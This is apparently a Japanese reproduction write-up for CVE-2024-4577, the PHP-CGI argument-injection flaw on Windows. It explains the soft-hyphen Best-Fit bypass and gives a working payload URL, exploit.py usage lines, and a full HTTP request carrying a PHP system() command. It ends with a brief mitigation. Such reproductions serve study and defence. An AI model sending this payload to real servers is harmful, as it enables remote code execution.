
CVE 再現: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 は、Windows 上の PHP の CGI 実装における重大なリモートコード実行の脆弱性です。この脆弱性は、Windows の「Best-Fit」コードページ変換を悪用して、CGI クエリ文字列を介してコマンドライン引数を密かに送り込むことで、元の CVE-2012-1823 の修正を回避します。
PHP が CGI モジュール (php-cgi.exe) として実行される場合、クエリ文字列をコマンドライン引数として解析します。CVE-2012-1823 の元の修正は、引数インジェクションを防ぐために - (ハイフン、0x2D) 文字をブロックしました。しかし、特定のコードページ (例: 中国語、日本語、韓国語) を使用する Windows システムでは、「Best-Fit」文字マッピング機能が特定の Unicode 文字を最も近い ASCII 相当文字に変換します。
主要なバイパス手法は、ソフトハイフン 文字 (0xAD / U+00AD) を使用します。リクエストがクエリ文字列内で %AD を渡し、サーバーのロケールが「Best-Fit」コードページを使用している場合、Windows は内部で 0xAD を 0x2D (ハイフン) に変換し、攻撃者がフィルタを回避して PHP 引数を注入できるようにします。
例: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input は -d allow_url_include=1 -d auto_prepend_file=php://input になります。
設定要件:
php-cgi.exe を使用して CGI として実行される PHPmod_cgi または mod_cgid が構成された Apache Web サーバーScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
作成されたペイロードは、クエリ文字列を介して PHP 設定ディレクティブを注入します:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe へのリクエストをブロックする